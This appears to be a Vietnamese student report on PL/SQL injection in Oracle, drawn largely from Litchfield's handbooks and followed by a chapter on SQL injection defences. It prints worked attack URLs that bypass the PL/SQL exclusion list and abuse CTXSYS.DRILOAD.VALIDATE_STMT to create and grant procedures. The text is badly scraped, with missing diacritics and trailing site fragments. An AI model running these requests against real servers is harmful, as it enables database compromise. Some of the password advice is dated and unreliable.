ENGLISH_UNITEDKINGDOM.WE8MSWIN1252, %9F chuyển đổi thành Y http://www.books.example.com/pls/bookstore/S%9FS.OWA_UTIL.CELLSPRINT? P_THEQUERY=select+1+from+dual Có thể có kết hợp thú vị khác Dù sao, báo cáo điều cách hợp lệ cho Oracle họ sửa vào tháng năm 2004 Vào tháng 9, tơi báo cáo cố với quy trình PL/SQL có ảnh hưởng đến bảo mật người ta truy cập thơng qua máy chủ ứng dụng, Oracle từ chối khắc phục với lý "bản sửa lỗi" họ cho danh sách loại trừ, nên khơng thể có quyền truy cập vào quy trình Điều phần làm tơi khó chịu Tơi tranh luận với họ nói tơi tìm thấy hai lỗi q khứ danh sách loại trừ, họ hồn tồn chắn khơng cịn lỗi khơng Tốt để sửa lỗi quy trình Trên thực tế, tơi khó chịu, điều khiến tơi có nguồn cảm hứng: bạn đặt số nhận dạng, chẳng hạn SYS, dấu ngoặc kép - ví dụ: EXEC “SYS”.DBMS_OUTPUT.PUT_LINE(‘Hello!’); Tại khơng sử dụng dấu ngoặc kép gọi qua máy chủ ứng dụng Theo quyền, điều phá vỡ khớp mẫu Chắc chắn làm Xin lưu ý có cách rõ ràng khác để bỏ qua danh sách loại trừ (ngẫu nhiên, Máy chủ ứng dụng 10g không dễ bị tổn thương điều này; 10gAS lấy liệu đầu vào người dùng chuyển tất ký tự viết hoa thành chữ thường để “SYS” trở thành “sys” Vì vậy, dấu ngoặc kép thông qua, máy chủ sở liệu tìm thấy lược đồ "sys" Khi trích dẫn số nhận dạng, chúng cần phải viết hoa) Vì vậy, Oracle sửa lỗi may, lỗi quy trình Dù sao, quay lại PL/SQL Máy chủ ứng dụng Oracle Trước thảo luận gói DRILOAD lược đồ CTXSYS Gói có thủ tục, cụ thể VALIDATE_STMT, nhận truy vấn người dùng cung cấp thực thi Điều bị lạm dụng Web Một điều cần lưu ý dường khơng hoạt động Lý bạn gọi thủ tục VALIDATE_STMT, bạn không chọn, thủ tục trả ERROR at line 1: ORA-06510: PL/SQL: unhandled user-defined exception ORA-06512: at “CTXSYS.DRILOAD”, line 42 ORA-01003: no statement parsed ORA-06512: at line Điều gửi trở lại máy chủ web để máy chủ web trả phản hồi khơng tìm thấy tệp 404 Mặc dù lỗi khơng có câu lệnh phân tích cú pháp, truy vấn thực thi Ví dụ, yêu cầu http://www.books.example.com/pls/bookstore/ctxsys.driload.validate_stmt? sqlstmt=CREATE+OR+REPLACE+PROCEDURE+WEBTEST+AS+BEGIN+HTP.PRINT(‘hello’); +END; trả 404 Yêu cầu http://www.books.example.com/pls/bookstore/ctxsys.driload.validate_stmt? sqlstmt=GRANT+EXECUTE+ON+WEBTEST+TO+PUBLIC trả 404 Tuy nhiên, yêu cầu http://www.books.example.com/pls/bookstore/ctxsys.webtest trả “hello” Điều xảy đây? Yêu cầu tạo thủ tục có tên WEBTEST sử dụng HTP.PRINT để viết “hello” Thủ tục CTXSYS tạo sở hữu Yêu cầu thứ hai cấp cho PUBLIC quyền thực thi quy trình WEBTEST Cuối gọi - yêu cầu cuối Từ phải thấy rõ điều nguy hiểm Ở cần lưu ý 99% vấn đề thảo luận phần PL/SQL thực Web thông qua Máy chủ ứng dụng Oracle CHƯƠNG PHỊNG CHỐNG SQL INJECTION Như vậy, thấy lỗi SQL injection khai thác bất cẩn lập trình viên phát triển ứng dụng web xử lí liệu nhập vào để xây dựng câu lệnh SQL Tác hại từ lỗi SQL injection tùy thuộc vào mơi trường cách cấu hình hệ thống Nếu ứng dụng sử dụng quyền dbo (quyền người sở hữu sở liệu - owner) thao tác liệu, xóa tồn bảng liệu, tạo bảng liệu mới, … Nếu ứng dụng sử dụng quyền ‘SYS’ (quyền quản trị hệ thống), điều khiển tồn hệ quản trị sở liệu với quyền hạn rộng lớn tạo tài khoản người dùng bất hợp pháp để điều khiển hệ thống bạn.Để phịng chống có cơng việc nên tiến hành theo nhiều tầng: CLIENT: Xây dựng lọc kiểm tra liệu đầu vào: kiểu liệu số, kiểu chuỗi phải có hàm validate tương ứng SERVER:  Lọc liệu từ người dùng: Cách phòng chống tương tự XSS Ta sử dụng filter để lọc kí tự đặc biệt (; ” ‘) từ khoá (SELECT, UNION) người dùng nhập vào, tham số từ url, giá trị từ cookie Nên sử dụng thư viện/function cung cấp framework Viết lại từ đầu vừa tốn thời gian vừa dễ sơ sót  Khơng cộng chuỗi để tạo SQL: Sử dụng parameter thay cộng chuỗi Nếu liệu truyền vào không hợp pháp, SQL Engine tự động báo lỗi, ta không cần dùng code để check  Không hiển thị exception, message lỗi: Hacker dựa vào message lỗi để tìm cấu trúc database Khi có lỗi, ta thơng báo lỗi đừng hiển thị đầy đủ thông tin lỗi, tránh hacker lợi dụng  Phân quyền rõ ràng DB: Nếu truy cập liệu từ số bảng, tạo account DB, gán quyền truy cập cho account đừng dùng account root hay sa Lúc này, dù hacker có inject sql khơng thể đọc liệu từ bảng chính, sửa hay xoá liệu  Backup liệu thường xuyên: Dữ liệu phải thường xuyên backup để có bị hacker xố ta khơi phục DATABASE: Mật khẩu:  Mật phải có độ dài tối thiểu kí tự trở lên  Phải có kí tự đặc biệt @ _ -  Phải có số [0123456789]  Sử dụng mật băm SHA-2, MD5 dần trở nên lỗi thời bị giải mã SỬ DỤNG HTACCESS: Thay đổi cách thể URL địa để dấu biến câu Query Ví dụ: Mặc định : http://example.com?id=123 Cách hiển thị khác:  http:/example.com/example1  http:/example.com/abc/123 XÁC THỰC BÊN THỨ BA: Nên xem xét hoàn toàn việc th ngồi tồn quy trình xác thực ứng dụng Facebook, Twitter Google cung cấp API OAuth thơng minh, sử dụng phép người dùng đăng nhập vào trang web bạn tài khoản có họ hệ thống Điều giúp bạn với tư cách nhà phát triển ứng dụng khỏi thực xác thực riêng bạn đảm bảo với người dùng bạn mật họ lưu trữ vị trí Tài liệu tham khảo [1] David Litchfield, Chris Anley, John Heasman, Bill Grindlay, The Database Hacker's Handbook: Defending Database Servers, Wiley Publishing, Inc 2005 [2] D Litchfield, The Oracle®Hacker’s Handbook: Hacking and Defending Oracle, Wiley Publishing, Inc 2007 [3] Certified Ethical Hacker, EC-Council CEH Program, 2020 ... tài “Tìm hiểu PL/ SQL PL/ SQL Injection? ?? làm đề tài tập lớn mình, nhằm tìm hiểu sâu cụ thể kỹ thuật SQL Injection Oracle với ngôn ngữ thủ tục PL/ SQL Mục lục CHƯƠNG TÌM HIỂU VỀ PL/ SQL TRONG ORACLE... .2 1.2 Các đặc điểm PL/ SQL 1.3 Cấu trúc PL/ SQL 1.4 Lợi ích sử dụng PL/ SQL CHƯƠNG CHƯƠNG 2: PL/ SQL INJECTION 2.1 SQL Injection 2.1.1... với DBMS _SQL 13 2.2.5 PL/ SQL Injection Database Trigger 18 2.2.6 PL/ SQL Máy chủ ứng dụng Oracle 22 CHƯƠNG PHÒNG CHỐNG SQL INJECTION 27 CHƯƠNG TÌM HIỂU VỀ PL/ SQL TRONG

Ngày đăng: 27/10/2021, 06:22

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w